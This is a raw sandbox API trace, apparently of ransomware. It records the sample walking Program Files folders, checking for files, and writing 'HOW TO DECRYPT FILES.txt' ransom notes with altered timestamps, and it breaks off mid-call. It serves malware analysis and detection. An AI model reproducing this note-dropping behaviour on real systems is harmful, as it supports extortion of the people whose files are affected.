[0076.213] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jucheck.exe") returned -1 [0076.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jucheck.exe") returned -1 [0076.213] lstrcmpiA (lpString1="", lpString2="jucheck.exe") returned -1 [0076.213] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jaureg.exe") returned="jaureg.exe" [0076.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0076.213] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="" [0076.213] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" [0076.213] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt")) returned 0x20 [0076.213] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="jucheck.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe" [0076.213] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe", pszSpec="*.ems") returned 0 [0076.213] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249c100, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x249c100, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3e180, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0076.213] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jusched.exe") returned -1 [0076.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jusched.exe") returned -1 [0076.213] lstrcmpiA (lpString1="", lpString2="jusched.exe") returned -1 [0076.213] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jucheck.exe") returned="jucheck.exe" [0076.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0076.213] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="" [0076.213] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" [0076.213] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt")) returned 0x20 [0076.213] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="jusched.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe" [0076.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", pszSpec="*.ems") returned 0 [0076.214] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x583, dwReserved0=0x0, dwReserved1=0x0, cFileName="task.xml", cAlternateFileName="")) returned 1 [0076.214] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="task.xml") returned -1 [0076.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="task.xml") returned -1 [0076.214] lstrcmpiA (lpString1="", lpString2="task.xml") returned -1 [0076.214] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe") returned="jusched.exe" [0076.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0076.214] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="" [0076.214] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" [0076.214] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt")) returned 0x20 [0076.214] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="task.xml" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" [0076.214] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml", pszSpec="*.ems") returned 0 [0076.214] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1 [0076.214] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="task64.xml") returned -1 [0076.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="task64.xml") returned -1 [0076.214] lstrcmpiA (lpString1="", lpString2="task64.xml") returned -1 [0076.214] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml") returned="task.xml" [0076.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0076.214] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="" [0076.214] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" [0076.214] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to decrypt files.txt")) returned 0x20 [0076.214] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\", lpString2="task64.xml" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" [0076.215] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0 [0076.215] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.215] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0076.215] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0076.215] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004a, dwReserved1=0x3, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0076.215] lstrcmpA (lpString1=".", lpString2="microsoft shared") returned -1 [0076.215] lstrcmpA (lpString1="..", lpString2="microsoft shared") returned -1 [0076.215] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\*.*") returned="*.*" [0076.215] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0076.216] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.216] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.216] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.216] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.216] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.216] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0076.216] lstrcmpA (lpString1=".", lpString2="DAO") returned -1 [0076.216] lstrcmpA (lpString1="..", lpString2="DAO") returned -1 [0076.216] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.216] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0076.216] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.216] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.216] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0076.216] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.216] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.216] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0076.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.217] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dao360.dll") returned 1 [0076.217] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dao360.dll") returned 1 [0076.217] lstrcmpiA (lpString1="", lpString2="dao360.dll") returned -1 [0076.217] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*.*") returned="*.*" [0076.217] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\" [0076.217] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\") returned="" [0076.217] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\HOW TO DECRYPT FILES.txt" [0076.217] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao\\how to decrypt files.txt")) returned 0xffffffff [0076.217] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.219] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.220] CloseHandle (hObject=0x8c) returned 1 [0076.220] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\", lpString2="dao360.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\dao360.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\dao360.dll" [0076.220] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 0 [0076.220] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.220] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Help", cAlternateFileName="")) returned 1 [0076.220] lstrcmpA (lpString1=".", lpString2="Help") returned -1 [0076.220] lstrcmpA (lpString1="..", lpString2="Help") returned -1 [0076.220] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.220] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Help" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help" [0076.221] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.223] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.223] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.223] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.223] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.223] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0076.223] lstrcmpA (lpString1=".", lpString2="1028") returned -1 [0076.223] lstrcmpA (lpString1="..", lpString2="1028") returned -1 [0076.223] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.223] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1028" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028" [0076.223] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.224] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.224] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.224] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.224] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.224] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.224] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.224] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.224] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.224] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.224] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*.*") returned="*.*" [0076.224] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\" [0076.225] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\") returned="" [0076.225] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\HOW TO DECRYPT FILES.txt" [0076.225] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028\\how to decrypt files.txt")) returned 0xffffffff [0076.225] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.226] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.226] CloseHandle (hObject=0x90) returned 1 [0076.227] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\", lpString2="hxdsui.dll" | out: 